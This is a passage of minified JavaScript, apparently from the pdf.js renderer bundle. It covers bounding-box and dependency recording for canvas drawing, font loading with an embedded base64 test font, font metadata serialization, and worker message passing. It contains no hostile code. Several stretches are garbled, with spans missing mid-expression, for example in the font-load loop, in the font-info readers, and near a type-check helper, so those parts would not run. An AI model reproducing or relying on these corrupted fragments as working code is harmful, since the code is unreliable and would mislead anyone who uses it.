this._savesStack.length===0?null:this._savesStack.at(-1)}recordCloseMarker(e,t){const n=this._savesStack.pop();return n!==void 0&&(t==null||t(n,e),a(this,Ze)[e]=a(this,Ze)[n]),this}beginMarkedContent(e){return this._markedContentStack.push(e),this}endMarkedContent(e,t){const n=this._markedContentStack.pop();return n!==void 0&&(t==null||t(n,e),a(this,Ze)[e]=a(this,Ze)[n]),this}pushBaseTransform(e){return a(this,_i).push(_.multiplyByDOMMatrix(a(this,_i).at(-1),e.getTransform())),this}popBaseTransform(){return a(this,_i).length>1&&a(this,_i).pop(),this}resetBBox(e){return this._pendingBBoxIdx!==e&&(this._pendingBBoxIdx=e,a(this,_t).set(Ls,0)),this}recordClipBox(e,t,n,r,i,s){const o=_.multiplyByDOMMatrix(a(this,_i).at(-1),t.getTransform()),l=Ls.slice();_.axialAlignedBoundingBox([n,i,r,s],o,l);const u=_.intersect(a(this,Dt),l);return u?(a(this,Dt)[0]=u[0],a(this,Dt)[1]=u[1],a(this,Dt)[2]=u[2],a(this,Dt)[3]=u[3]):(a(this,Dt)[0]=a(this,Dt)[1]=1/0,a(this,Dt)[2]=a(this,Dt)[3]=-1/0),this}recordBBox(e,t,n,r,i,s){const o=a(this,Dt);if(o[0]===1/0)return this;const l=_.multiplyByDOMMatrix(a(this,_i).at(-1),t.getTransform());if(o[0]===-1/0)return _.axialAlignedBoundingBox([n,i,r,s],l,a(this,_t)),this;const u=Ls.slice();return _.axialAlignedBoundingBox([n,i,r,s],l,u),a(this,_t)[0]=Qt(u[0],o[0],a(this,_t)[0]),a(this,_t)[1]=Qt(u[1],o[1],a(this,_t)[1]),a(this,_t)[2]=Qt(u[2],a(this,_t)[2],o[2]),a(this,_t)[3]=Qt(u[3],a(this,_t)[3],o[3]),this}recordFullPageBBox(e){return a(this,_t)[0]=Math.max(0,a(this,Dt)[0]),a(this,_t)[1]=Math.max(0,a(this,Dt)[1]),a(this,_t)[2]=Math.min(a(this,zo),a(this,Dt)[2]),a(this,_t)[3]=Math.min(a(this,Go),a(this,Dt)[3]),this}recordOperation(e,t=!1,n){if(this._pendingBBoxIdx!==e)return this;const r=Bb(a(this,_t)[0]*256/a(this,zo)),i=Bb(a(this,_t)[1]*256/a(this,Go)),s=kb(a(this,_t)[2]*256/a(this,zo)),o=kb(a(this,_t)[3]*256/a(this,Go));if(jb(a(this,Xo),e,r,i,s,o),n)for(const l of n)for(const u of l)u!==e&&jb(a(this,Xo),u,r,i,s,o);return t||(this._pendingBBoxIdx=-1),this}bboxToClipBoxDropOperation(e){return this._pendingBBoxIdx===e&&(this._pendingBBoxIdx=-1,a(this,Dt)[0]=Math.max(a(this,Dt)[0],a(this,_t)[0]),a(this,Dt)[1]=Math.max(a(this,Dt)[1],a(this,_t)[1]),a(this,Dt)[2]=Math.min(a(this,Dt)[2],a(this,_t)[2]),a(this,Dt)[3]=Math.min(a(this,Dt)[3],a(this,_t)[3])),this}take(){return new qx(a(this,Ze),a(this,Xo))}takeDebugMetadata(){throw new Error("Unreachable")}recordSimpleData(e,t){return this}recordIncrementalData(e,t){return this}resetIncrementalData(e,t){return this}recordNamedData(e,t){return this}recordSimpleDataFromNamed(e,t,n){return this}recordFutureForcedDependency(e,t){return this}inheritSimpleDataAsFutureForcedDependencies(e){return this}inheritPendingDependenciesAsFutureForcedDependencies(){return this}recordCharacterBBox(e,t,n,r=1,i=0,s=0,o){return this}getSimpleIndex(e){}recordDependencies(e,t){return this}recordNamedDependency(e,t){return this}recordShowTextOperation(e,t=!1){return this}}_i=new WeakMap,Dt=new WeakMap,_t=new WeakMap,zo=new WeakMap,Go=new WeakMap,Xo=new WeakMap,Ze=new WeakMap,af=new WeakSet,py=function(e,t){const n=new ArrayBuffer(e*4);g(this,Xo,new Uint8ClampedArray(n)),g(this,Ze,new Uint32Array(n)),t&&t.length>0?(a(this,Ze).set(t),a(this,Ze).fill(fy,t.length)):a(this,Ze).fill(fy)};var bn,An,_o,Tr,nu,ya,ba,jt;class eS{constructor(e,t=!1){b(this,bn,{__proto__:null});b(this,An,{__proto__:null,transform:[],moveText:[],sameLineText:[],[ph]:[]});b(this,_o,new Map);b(this,Tr,new Set);b(this,nu,new Map);b(this,ya);b(this,ba);b(this,jt);g(this,jt,e),t&&(g(this,ya,new Map),g(this,ba,(n,r)=>{Ub(a(this,ya),r).dependencies.add(n)}))}get clipBox(){return a(this,jt).clipBox}growOperationsCount(e){a(this,jt).growOperationsCount(e)}save(e){return g(this,bn,{__proto__:a(this,bn)}),g(this,An,{__proto__:a(this,An),transform:{__proto__:a(this,An).transform},moveText:{__proto__:a(this,An).moveText},sameLineText:{__proto__:a(this,An).sameLineText},[ph]:{__proto__:a(this,An)[ph]}}),a(this,jt).save(e),this}restore(e){a(this,jt).restore(e,a(this,ba));const t=Object.getPrototypeOf(a(this,bn));return t===null?this:(g(this,bn,t),g(this,An,Object.getPrototypeOf(a(this,An))),this)}recordOpenMarker(e){return a(this,jt).recordOpenMarker(e,a(this,ba)),this}getOpenMarker(){return a(this,jt).getOpenMarker()}recordCloseMarker(e){return a(this,jt).recordCloseMarker(e,a(this,ba)),this}beginMarkedContent(e){return a(this,jt).beginMarkedContent(e),this}endMarkedContent(e){return a(this,jt).endMarkedContent(e,a(this,ba)),this}pushBaseTransform(e){return a(this,jt).pushBaseTransform(e),this}popBaseTransform(){return a(this,jt).popBaseTransform(),this}recordSimpleData(e,t){return a(this,bn)[e]=t,this}recordIncrementalData(e,t){return a(this,An)[e].push(t),this}resetIncrementalData(e,t){return a(this,An)[e].length=0,this}recordNamedData(e,t){return a(this,_o).set(e,t),this}recordSimpleDataFromNamed(e,t,n){a(this,bn)[e]=a(this,_o).get(t)??n}recordFutureForcedDependency(e,t){return this.recordIncrementalData(ph,t),this}inheritSimpleDataAsFutureForcedDependencies(e){for(const t of e)t in a(this,bn)&&this.recordFutureForcedDependency(t,a(this,bn)[t]);return this}inheritPendingDependenciesAsFutureForcedDependencies(){for(const e of a(this,Tr))this.recordFutureForcedDependency(ph,e);return this}resetBBox(e){return a(this,jt).resetBBox(e),this}recordClipBox(e,t,n,r,i,s){return a(this,jt).recordClipBox(e,t,n,r,i,s),this}recordBBox(e,t,n,r,i,s){return a(this,jt).recordBBox(e,t,n,r,i,s),this}recordCharacterBBox(e,t,n,r=1,i=0,s=0,o){const l=n.bbox;let u,c;if(l&&(u=l[2]!==l[0]&&l[3]!==l[1]&&a(this,nu).get(n),u!==!1&&(c=[0,0,0,0],_.axialAlignedBoundingBox(l,n.fontMatrix,c),(r!==1||i!==0||s!==0)&&_.scaleMinMax([r,0,0,-r,i,s],c),u)))return this.recordBBox(e,t,c[0],c[2],c[1],c[3]);if(!o)return this.recordFullPageBBox(e);const d=o();return l&&c&&u===void 0&&(u=c[0]<=i-d.actualBoundingBoxLeft&&c[2]>=i+d.actualBoundingBoxRight&&c[1]<=s-d.actualBoundingBoxAscent&&c[3]>=s+d.actualBoundingBoxDescent,a(this,nu).set(n,u),u)?this.recordBBox(e,t,c[0],c[2],c[1],c[3]):this.recordBBox(e,t,i-d.actualBoundingBoxLeft,i+d.actualBoundingBoxRight,s-d.actualBoundingBoxAscent,s+d.actualBoundingBoxDescent)}recordFullPageBBox(e){return a(this,jt).recordFullPageBBox(e),this}getSimpleIndex(e){return a(this,bn)[e]}recordDependencies(e,t){const n=a(this,Tr),r=a(this,bn),i=a(this,An);for(const s of t)s in a(this,bn)?n.add(r[s]):s in i&&i[s].forEach(n.add,n);return this}recordNamedDependency(e,t){return a(this,_o).has(t)&&a(this,Tr).add(a(this,_o).get(t)),this}recordOperation(e,t=!1){if(this.recordDependencies(e,[ph]),a(this,ya)){const r=Ub(a(this,ya),e),{dependencies:i}=r;a(this,Tr).forEach(i.add,i),a(this,jt)._savesStack.forEach(i.add,i),a(this,jt)._markedContentStack.forEach(i.add,i),i.delete(e),r.isRenderingOperation=!0}const n=!t&&e===a(this,jt)._pendingBBoxIdx;return a(this,jt).recordOperation(e,t,[a(this,Tr),a(this,jt)._savesStack,a(this,jt)._markedContentStack]),n&&a(this,Tr).clear(),this}recordShowTextOperation(e,t=!1){const n=Array.from(a(this,Tr));this.recordOperation(e,t),this.recordIncrementalData("sameLineText",e);for(const r of n)this.recordIncrementalData("sameLineText",r);return this}bboxToClipBoxDropOperation(e,t=!1){const n=!t&&e===a(this,jt)._pendingBBoxIdx;return a(this,jt).bboxToClipBoxDropOperation(e),n&&a(this,Tr).clear(),this}take(){return a(this,nu).clear(),a(this,jt).take()}takeDebugMetadata(){return a(this,ya)}}bn=new WeakMap,An=new WeakMap,_o=new WeakMap,Tr=new WeakMap,nu=new WeakMap,ya=new WeakMap,ba=new WeakMap,jt=new WeakMap;var Ut,ae,Pr,ru,iu;const yb=class yb{constructor(e,t,n){b(this,Ut);b(this,ae);b(this,Pr);b(this,ru,0);b(this,iu,0);if(e instanceof yb&&a(e,Pr)===!!n)return e;g(this,Ut,e),g(this,ae,t),g(this,Pr,!!n)}get clipBox(){return a(this,Ut).clipBox}growOperationsCount(){throw new Error("Unreachable")}save(e){return ie(this,iu)._++,a(this,Ut).save(a(this,ae)),this}restore(e){return a(this,iu)>0&&(a(this,Ut).restore(a(this,ae)),ie(this,iu)._--),this}recordOpenMarker(e){return ie(this,ru)._++,this}getOpenMarker(){return a(this,ru)>0?a(this,ae):a(this,Ut).getOpenMarker()}recordCloseMarker(e){return ie(this,ru)._--,this}beginMarkedContent(e){return this}endMarkedContent(e){return this}pushBaseTransform(e){return a(this,Ut).pushBaseTransform(e),this}popBaseTransform(){return a(this,Ut).popBaseTransform(),this}recordSimpleData(e,t){return a(this,Ut).recordSimpleData(e,a(this,ae)),this}recordIncrementalData(e,t){return a(this,Ut).recordIncrementalData(e,a(this,ae)),this}resetIncrementalData(e,t){return a(this,Ut).resetIncrementalData(e,a(this,ae)),this}recordNamedData(e,t){return this}recordSimpleDataFromNamed(e,t,n){return a(this,Ut).recordSimpleDataFromNamed(e,t,a(this,ae)),this}recordFutureForcedDependency(e,t){return a(this,Ut).recordFutureForcedDependency(e,a(this,ae)),this}inheritSimpleDataAsFutureForcedDependencies(e){return a(this,Ut).inheritSimpleDataAsFutureForcedDependencies(e),this}inheritPendingDependenciesAsFutureForcedDependencies(){return a(this,Ut).inheritPendingDependenciesAsFutureForcedDependencies(),this}resetBBox(e){return a(this,Pr)||a(this,Ut).resetBBox(a(this,ae)),this}recordClipBox(e,t,n,r,i,s){return a(this,Pr)||a(this,Ut).recordClipBox(a(this,ae),t,n,r,i,s),this}recordBBox(e,t,n,r,i,s){return a(this,Pr)||a(this,Ut).recordBBox(a(this,ae),t,n,r,i,s),this}recordCharacterBBox(e,t,n,r,i,s,o){return a(this,Pr)||a(this,Ut).recordCharacterBBox(a(this,ae),t,n,r,i,s,o),this}recordFullPageBBox(e){return a(this,Pr)||a(this,Ut).recordFullPageBBox(a(this,ae)),this}getSimpleIndex(e){return a(this,Ut).getSimpleIndex(e)}recordDependencies(e,t){return a(this,Ut).recordDependencies(a(this,ae),t),this}recordNamedDependency(e,t){return a(this,Ut).recordNamedDependency(a(this,ae),t),this}recordOperation(e){return a(this,Ut).recordOperation(a(this,ae),!0),this}recordShowTextOperation(e){return a(this,Ut).recordShowTextOperation(a(this,ae),!0),this}bboxToClipBoxDropOperation(e){return a(this,Pr)||a(this,Ut).bboxToClipBoxDropOperation(a(this,ae),!0),this}take(){throw new Error("Unreachable")}takeDebugMetadata(){throw new Error("Unreachable")}};Ut=new WeakMap,ae=new WeakMap,Pr=new WeakMap,ru=new WeakMap,iu=new WeakMap;let Pd=yb;const tr={stroke:["path","transform","filter","strokeColor","strokeAlpha","lineWidth","lineCap","lineJoin","miterLimit","dash"],fill:["path","transform","filter","fillColor","fillAlpha","globalCompositeOperation","SMask"],imageXObject:["transform","SMask","filter","fillAlpha","strokeAlpha","globalCompositeOperation"],rawFillPath:["filter","fillColor","fillAlpha"],showText:["transform","leading","charSpacing","wordSpacing","hScale","textRise","moveText","textMatrix","font","fontObj","filter","fillColor","textRenderingMode","SMask","fillAlpha","strokeAlpha","globalCompositeOperation","sameLineText"],transform:["transform"],transformAndFill:["transform","fillColor"]};var Yo,Ko,Jo,Zo,Qo,of;const Ed=class Ed{constructor(e){b(this,Yo);b(this,Ko);b(this,Jo,4);b(this,Zo,0);b(this,Qo,new(a(Ed,of))(a(this,Jo)*6));g(this,Yo,e.width),g(this,Ko,e.height)}record(e,t,n,r){if(a(this,Zo)===a(this,Jo)){g(this,Jo,a(this,Jo)*2);const o=new(a(Ed,of))(a(this,Jo)*6);o.set(a(this,Qo)),g(this,Qo,o)}const i=_.domMatrixToTransform(e.getTransform());let s;if(r[0]!==1/0){const o=Ls.slice();_.axialAlignedBoundingBox([0,-n,t,0],i,o);const l=_.intersect(r,o);if(!l)return;const[u,c,d,f]=l;if(u!==o[0]||c!==o[1]||d!==o[2]||f!==o[3]){const p=Math.atan2(i[1],i[0]),m=Math.abs(Math.sin(p)),v=Math.abs(Math.cos(p));if(m<1e-6||v<1e-6||Math.abs(m-v)<1e-6)s=[u,c,u,f,d,c];else{const y=d-u,E=f-c,S=m*m,w=v*v,C=v*m,x=w-S,T=(E*w-y*C)/x,I=(E*C-y*S)/x;s=[u+I,c,u,c+T,d,f-T]}}}s||(s=[0,-n,0,0,t,-n],_.applyTransform(s,i,0),_.applyTransform(s,i,2),_.applyTransform(s,i,4)),s[0]/=a(this,Yo),s[1]/=a(this,Ko),s[2]/=a(this,Yo),s[3]/=a(this,Ko),s[4]/=a(this,Yo),s[5]/=a(this,Ko),a(this,Qo).set(s,a(this,Zo)*6),ie(this,Zo)._++}take(){return a(this,Qo).subarray(0,a(this,Zo)*6)}};Yo=new WeakMap,Ko=new WeakMap,Jo=new WeakMap,Zo=new WeakMap,Qo=new WeakMap,of=new WeakMap,b(Ed,of,be.isFloat16ArraySupported?Float16Array:Float32Array);let gy=Ed;var su;class nS{constructor({ownerDocument:e=globalThis.document,styleElement:t=null}){b(this,su,new Set);this._document=e,this.nativeFontFaces=new Set,this.styleElement=null,this.loadingRequests=[],this.loadTestFontId=0}addNativeFontFace(e){this.nativeFontFaces.add(e),this._document.fonts.add(e)}removeNativeFontFace(e){this.nativeFontFaces.delete(e),this._document.fonts.delete(e)}insertRule(e){this.styleElement||(this.styleElement=this._document.createElement("style"),this._document.documentElement.getElementsByTagName("head")[0].append(this.styleElement));const t=this.styleElement.sheet;t.insertRule(e,t.cssRules.length)}clear(){for(const e of this.nativeFontFaces)this._document.fonts.delete(e);this.nativeFontFaces.clear(),a(this,su).clear(),this.styleElement&&(this.styleElement.remove(),this.styleElement=null)}async loadSystemFont({systemFontInfo:e,disableFontFace:t,_inspectFont:n}){if(!(!e||a(this,su).has(e.loadedName))){if(ne(!t,"loadSystemFont shouldn't be called when `disableFontFace` is set."),this.isFontLoadingAPISupported){const{loadedName:r,src:i,style:s}=e,o=new FontFace(r,i,s);this.addNativeFontFace(o);try{await o.load(),a(this,su).add(r),n==null||n(e)}catch{ht(`Cannot load system font: ${e.baseFontName}, installing it could help to improve PDF rendering.`),this.removeNativeFontFace(o)}return}Ot("Not implemented: loadSystemFont without the Font Loading API.")}}async bind(e){if(e.attached||e.missingFile&&!e.systemFontInfo)return;if(e.attached=!0,e.systemFontInfo){await this.loadSystemFont(e);return}if(this.isFontLoadingAPISupported){const n=e.createNativeFontFace();if(n){this.addNativeFontFace(n);try{await n.loaded}catch(r){throw ht(`Failed to load font '${n.family}': '${r}'.`),e.disableFontFace=!0,r}}return}const t=e.createFontFaceRule();if(t){if(this.insertRule(t),this.isSyncFontLoadingSupported)return;await new Promise(n=>{const r=this._queueLoadingCallback(n);this._prepareFontLoadEvent(e,r)})}}get isFontLoadingAPISupported(){var t;const e=!!((t=this._document)!=null&&t.fonts);return dt(this,"isFontLoadingAPISupported",e)}get isSyncFontLoadingSupported(){return dt(this,"isSyncFontLoadingSupported",_n||be.platform.isFirefox)}_queueLoadingCallback(e){function t(){for(ne(!r.done,"completeRequest() cannot be called twice."),r.done=!0;n.length>0&&n[0].done;){const i=n.shift();setTimeout(i.callback,0)}}const{loadingRequests:n}=this,r={done:!1,complete:t,callback:e};return n.push(r),r}get _loadTestFont(){const e=atob("T1RUTwALAIAAAwAwQ0ZGIDHtZg4AAAOYAAAAgUZGVE1lkzZwAAAEHAAAABxHREVGABQAFQAABDgAAAAeT1MvMlYNYwkAAAEgAAAAYGNtYXABDQLUAAACNAAAAUJoZWFk/xVFDQAAALwAAAA2aGhlYQdkA+oAAAD0AAAAJGhtdHgD6AAAAAAEWAAAAAZtYXhwAAJQAAAAARgAAAAGbmFtZVjmdH4AAAGAAAAAsXBvc3T/hgAzAAADeAAAACAAAQAAAAEAALZRFsRfDzz1AAsD6AAAAADOBOTLAAAAAM4KHDwAAAAAA+gDIQAAAAgAAgAAAAAAAAABAAADIQAAAFoD6AAAAAAD6AABAAAAAAAAAAAAAAAAAAAAAQAAUAAAAgAAAAQD6AH0AAUAAAKKArwAAACMAooCvAAAAeAAMQECAAACAAYJAAAAAAAAAAAAAQAAAAAAAAAAAAAAAFBmRWQAwAAuAC4DIP84AFoDIQAAAAAAAQAAAAAAAAAAACAAIAABAAAADgCuAAEAAAAAAAAAAQAAAAEAAAAAAAEAAQAAAAEAAAAAAAIAAQAAAAEAAAAAAAMAAQAAAAEAAAAAAAQAAQAAAAEAAAAAAAUAAQAAAAEAAAAAAAYAAQAAAAMAAQQJAAAAAgABAAMAAQQJAAEAAgABAAMAAQQJAAIAAgABAAMAAQQJAAMAAgABAAMAAQQJAAQAAgABAAMAAQQJAAUAAgABAAMAAQQJAAYAAgABWABYAAAAAAAAAwAAAAMAAAAcAAEAAAAAADwAAwABAAAAHAAEACAAAAAEAAQAAQAAAC7//wAAAC7////TAAEAAAAAAAABBgAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAAAAD/gwAyAAAAAQAAAAAAAAAAAAAAAAAAAAABAAQEAAEBAQJYAAEBASH4DwD4GwHEAvgcA/gXBIwMAYuL+nz5tQXkD5j3CBLnEQACAQEBIVhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYAAABAQAADwACAQEEE/t3Dov6fAH6fAT+fPp8+nwHDosMCvm1Cvm1DAz6fBQAAAAAAAABAAAAAMmJbzEAAAAAzgTjFQAAAADOBOQpAAEAAAAAAAAADAAUAAQAAAABAAAAAgABAAAAAAAAAAAD6AAAAAAAAA==");return dt(this,"_loadTestFont",e)}_prepareFontLoadEvent(e,t){function n(x,T){return x.charCodeAt(T)<<24|x.charCodeAt(T+1)<<16|x.charCodeAt(T+2)<<8|x.charCodeAt(T+3)&255}function r(x){return String.fromCharCode(x>>24&255,x>>16&255,x>>8&255,x&255)}function i(x,T,I,F){const P=x.substring(0,T),R=x.substring(T+I);return P+F+R}let s,o;const l=this._document.createElement("canvas");l.width=1,l.height=1;const u=l.getContext("2d");let c=0;function d(x,T){if(++c>30){ht("Load test font never loaded."),T();return}if(u.font="30px "+x,u.fillText(".",0,20),u.getImageData(0,0,1,1).data[3]>0){T();return}setTimeout(d.bind(null,x,T))}const f=`lt${Date.now()}${this.loadTestFontId++}`;let p=this._loadTestFont;p=i(p,976,f.length,f);const v=16,y=1482184792;let E=n(p,v);for(s=0,o=f.length-3;s{C.remove(),t.complete()})}}su=new WeakMap;var $t;class rS{constructor(e,t=null,n,r){M(this,"compiledGlyphs",Object.create(null));b(this,$t);g(this,$t,e),this._inspectFont=t,n&&(this.charProcOperatorList=n),r&&Object.assign(this,r)}createNativeFontFace(){var t;if(!this.data||this.disableFontFace)return null;let e;if(!this.cssFontInfo)e=new FontFace(this.loadedName,this.data,{});else{const n={weight:this.cssFontInfo.fontWeight};this.cssFontInfo.italicAngle&&(n.style=`oblique ${this.cssFontInfo.italicAngle}deg`),e=new FontFace(this.cssFontInfo.fontFamily,this.data,n)}return(t=this._inspectFont)==null||t.call(this,this),e}createFontFaceRule(){var n;if(!this.data||this.disableFontFace)return null;const e=`url(data:${this.mimetype};base64,${this.data.toBase64()});`;let t;if(!this.cssFontInfo)t=`@font-face {font-family:"${this.loadedName}";src:${e}}`;else{let r=`font-weight: ${this.cssFontInfo.fontWeight};`;this.cssFontInfo.italicAngle&&(r+=`font-style: oblique ${this.cssFontInfo.italicAngle}deg;`),t=`@font-face {font-family:"${this.cssFontInfo.fontFamily}";${r}src:${e}}`}return(n=this._inspectFont)==null||n.call(this,this,e),t}getPathGenerator(e,t){if(this.compiledGlyphs[t]!==void 0)return this.compiledGlyphs[t];const n=this.loadedName+"_path_"+t;let r;try{r=e.get(n)}catch(s){ht(`getPathGenerator - ignoring character: "${s}".`)}const i=K1(r==null?void 0:r.path);return this.fontExtraProperties||e.delete(n),this.compiledGlyphs[t]=i}get black(){return a(this,$t).black}get bold(){return a(this,$t).bold}get disableFontFace(){return a(this,$t).disableFontFace}set disableFontFace(e){dt(this,"disableFontFace",!!e)}get fontExtraProperties(){return a(this,$t).fontExtraProperties}get isInvalidPDFjsFont(){return a(this,$t).isInvalidPDFjsFont}get isType3Font(){return a(this,$t).isType3Font}get italic(){return a(this,$t).italic}get missingFile(){return a(this,$t).missingFile}get remeasure(){return a(this,$t).remeasure}get vertical(){return a(this,$t).vertical}get ascent(){return a(this,$t).ascent}get defaultWidth(){return a(this,$t).defaultWidth}get descent(){return a(this,$t).descent}get bbox(){return a(this,$t).bbox}get fontMatrix(){return a(this,$t).fontMatrix}get fallbackName(){return a(this,$t).fallbackName}get loadedName(){return a(this,$t).loadedName}get mimetype(){return a(this,$t).mimetype}get name(){return a(this,$t).name}get data(){return a(this,$t).data}clearData(){a(this,$t).clearData()}get cssFontInfo(){return a(this,$t).cssFontInfo}get systemFontInfo(){return a(this,$t).systemFontInfo}get defaultVMetrics(){return a(this,$t).defaultVMetrics}}$t=new WeakMap;class DA{}M(DA,"strings",["fontFamily","fontWeight","italicAngle"]);class OA{}M(OA,"strings",["css","loadedName","baseFontName","src"]);const Ye=class Ye{};M(Ye,"bools",["black","bold","disableFontFace","fontExtraProperties","isInvalidPDFjsFont","isType3Font","italic","missingFile","remeasure","vertical"]),M(Ye,"numbers",["ascent","defaultWidth","descent"]),M(Ye,"strings",["fallbackName","loadedName","mimetype","name"]),M(Ye,"OFFSET_NUMBERS",Math.ceil(Ye.bools.length*2/8)),M(Ye,"OFFSET_BBOX",Ye.OFFSET_NUMBERS+Ye.numbers.length*8),M(Ye,"OFFSET_FONT_MATRIX",Ye.OFFSET_BBOX+1+2*4),M(Ye,"OFFSET_DEFAULT_VMETRICS",Ye.OFFSET_FONT_MATRIX+1+8*6),M(Ye,"OFFSET_STRINGS",Ye.OFFSET_DEFAULT_VMETRICS+1+2*3);let Pn=Ye;class fn{}M(fn,"KIND",0),M(fn,"HAS_BBOX",1),M(fn,"HAS_BACKGROUND",2),M(fn,"SHADING_TYPE",3),M(fn,"N_COORD",4),M(fn,"N_COLOR",8),M(fn,"N_STOP",12),M(fn,"N_FIGURES",16);var lf,$m,au,ou,Rg;class iS{constructor(e){b(this,ou);b(this,lf);b(this,$m,new TextDecoder);b(this,au);g(this,lf,e),g(this,au,new DataView(e))}get fontFamily(){return A(this,ou,Rg).call(this,0)}get fontWeight(){return A(this,ou,Rg).call(this,1)}get italicAngle(){return A(this,ou,Rg).call(this,2)}}lf=new WeakMap,$m=new WeakMap,au=new WeakMap,ou=new WeakSet,Rg=function(e){ne(e>n&3;return r===0?void 0:r===2},Fg=function(e){return ne(e0){v=Ls.slice();for(let y=0,E=u.length;ytypeof h=="object"&&Number.isInteger(h==null?void 0:h.num)&&h.num>=0&&Number.isInteger(h==null?void 0:h.gen)&&h.gen>=0,cS=h=>typeof h=="object"&&typeof(h==null?void 0:h.name)=="string",dS=Ux.bind(null,vy,cS);var Yi,Vm;class fS{constructor(){b(this,Yi,new Map);b(this,Vm,Promise.resolve())}postMessage(e,t){const n={data:structuredClone(e,t?{transfer:t}:null)};a(this,Vm).then(()=>{for(const[r]of a(this,Yi))r.call(this,n)})}addEventListener(e,t,n=null){let r=null;if((n==null?void 0:n.signal)instanceof AbortSignal){const{signal:i}=n;if(i.aborted){ht("LoopbackPort - cannot use an `aborted` signal.");return}const s=()=>this.removeEventListener(e,t);r=()=>i.removeEventListener("abort",s),i.addEventListener("abort",s)}a(this,Yi).set(t,r)}removeEventListener(e,t){const n=a(this,Yi).get(t);n==null||n(),a(this,Yi).delete(t)}terminate(){for(const[,e]of a(this,Yi))e==null||e();a(this,Yi).clear()}}Yi=new WeakMap,Vm=new WeakMap;ut(1689);const ug={DATA:1,ERROR:2},pe={CANCEL:1,CANCEL_COMPLETE:2,CLOSE:3,ENQUEUE:4,ERROR:5,PULL:6,PULL_COMPLETE:7,START_COMPLETE:8};function $b(){}function mn(h){if(h instanceof ho||h instanceof Wv||h instanceof Ib||h instanceof Em||h instanceof Tv)return h;switch(h instanceof Error||typeof h=="object"&&h!==null||Ot('wrapReason: Expected "reason" to be a (possibly cloned) Error.'),h.name){case"AbortException":return new ho(h.message);case"InvalidPDFException":return new Wv(h.message);case"PasswordException":return new Ib(h.message,h.code);case"ResponseException":return new Em(h.message,h.status,h.missing);case"UnknownErrorException":return new Tv(h.message,h.details)}return new Tv(h.message,h.toString())}var uu,Ar,MA,LA,NA,Og;class Jc{constructor(e,t,n){b(this,Ar);b(this,uu,new AbortController);this.sourceName=e,this.targetName=t,this.comObj=n,this.callbackId=1,this.streamId=1,this.streamSinks=Object.create(null),this.streamControllers=Object.create(null),this.callbackCapabilities=Object.create(null),this.actionHandler=Object.create(null),n.addEventListener("message",A(this,Ar,MA).bind(this),{signal:a(this,uu).signal})}on(e,t){const n=this.actionHandler;if(n[e])throw new Error(`There is already an actionName called "${e}"`);n[e]=t}send(e,t,n){this.comObj.postMessage({sourceName:this.sourceName,targetName:this.targetName,action:e,data:t},n)}sendWithPromise(e,t,n){const r=this.callbackId++,i=Promise.withResolvers();this.callbackCapabilities[r]=i;try{this.comObj.postMessage({sourceName:this.sourceName,targetName:this.targetName,action:e,callbackId:r,data:t},n)}catch(s){i.reject(s)}return i.promise}sendWithStream(e,t,n,r){const i=this.streamId++,s=this.sourceName,o=this.targetName,l=this.comObj;return new ReadableStream({start:u=>{const c=Promise.withResolvers();return this.streamControllers[i]={controller:u,startCall:c,pullCall:null,cancelCall:null,isClosed:!1},l.postMessage({sourceName:s,targetName:o,action:e,streamId:i,data:t,desiredSize:u.desiredSize},r),c.promise},pull:u=>{const c=Promise.withResolvers();return this.streamControllers[i].pullCall=c,l.postMessage({sourceName:s,targetName:o,stream:pe.PULL,streamId:i,desiredSize:u.desiredSize}),c.promise},cancel:u=>{ne(u instanceof Error,"cancel must have a valid reason");const c=Promise.withResolvers();return this.streamControllers[i].cancelCall=c,this.streamControllers[i].isClosed=!0,l.postMessage({sourceName:s,targetName:o,stream:pe.CANCEL,streamId:i,reason:mn(u)}),c.promise}},n)}destroy(){var e;(e=a(this,uu))==null||e.abort(),g(this,uu,null)}}uu=new WeakMap,Ar=new WeakSet,MA=function({data:e}){if(e.targetName!==this.sourceName)return;if(e.stream){A(this,Ar,NA).call(this,e);return}if(e.callback){const n=e.callbackId,r=this.callbackCapabilities[n];if(!r)throw new Error(`Cannot resolve callback ${n}`);if(delete this.callbackCapabilities[n],e.callback===ug.DATA)r.resolve(e.data);else if(e.callback===ug.ERROR)r.reject(mn(e.reason));else throw new Error("Unexpected callback case");return}const t=this.actionHandler[e.action];if(!t)throw new Error(`Unknown action from worker: ${e.action}`);if(e.callbackId){const n=this.sourceName,r=e.sourceName,i=this.comObj;Promise.try(t,e.data).then(function(s){i.postMessage({sourceName:n,targetName:r,callback:ug.DATA,callbackId:e.callbackId,data:s})},function(s){i.postMessage({sourceName:n,targetName:r,callback:ug.ERROR,callbackId:e.callbackId,reason:mn(s)})});return}if(e.streamId){A(this,Ar,LA).call(this,e);return}t(e.data)},LA=function(e){const t=e.streamId,n=this.sourceName,r=e.sourceName,i=this.comObj,s=this,o=this.actionHandler[e.action],l={enqueue(u,c=1,d){if(this.isCancelled)return;const f=this.desiredSize;this.desiredSize-=c,f>0&&this.desiredSize<=0&&(this.sinkCapability=Promise.withResolvers(),this.ready=this.sinkCapability.promise),i.postMessage({sourceName:n,targetName:r,stream:pe.ENQUEUE,streamId:t,chunk:u},d)},close(){this.isCancelled||(this.isCancelled=!0,i.postMessage({sourceName:n,targetName:r,stream:pe.CLOSE,streamId:t}),delete s.streamSinks[t])},error(u){ne(u instanceof Error,"error must have a valid 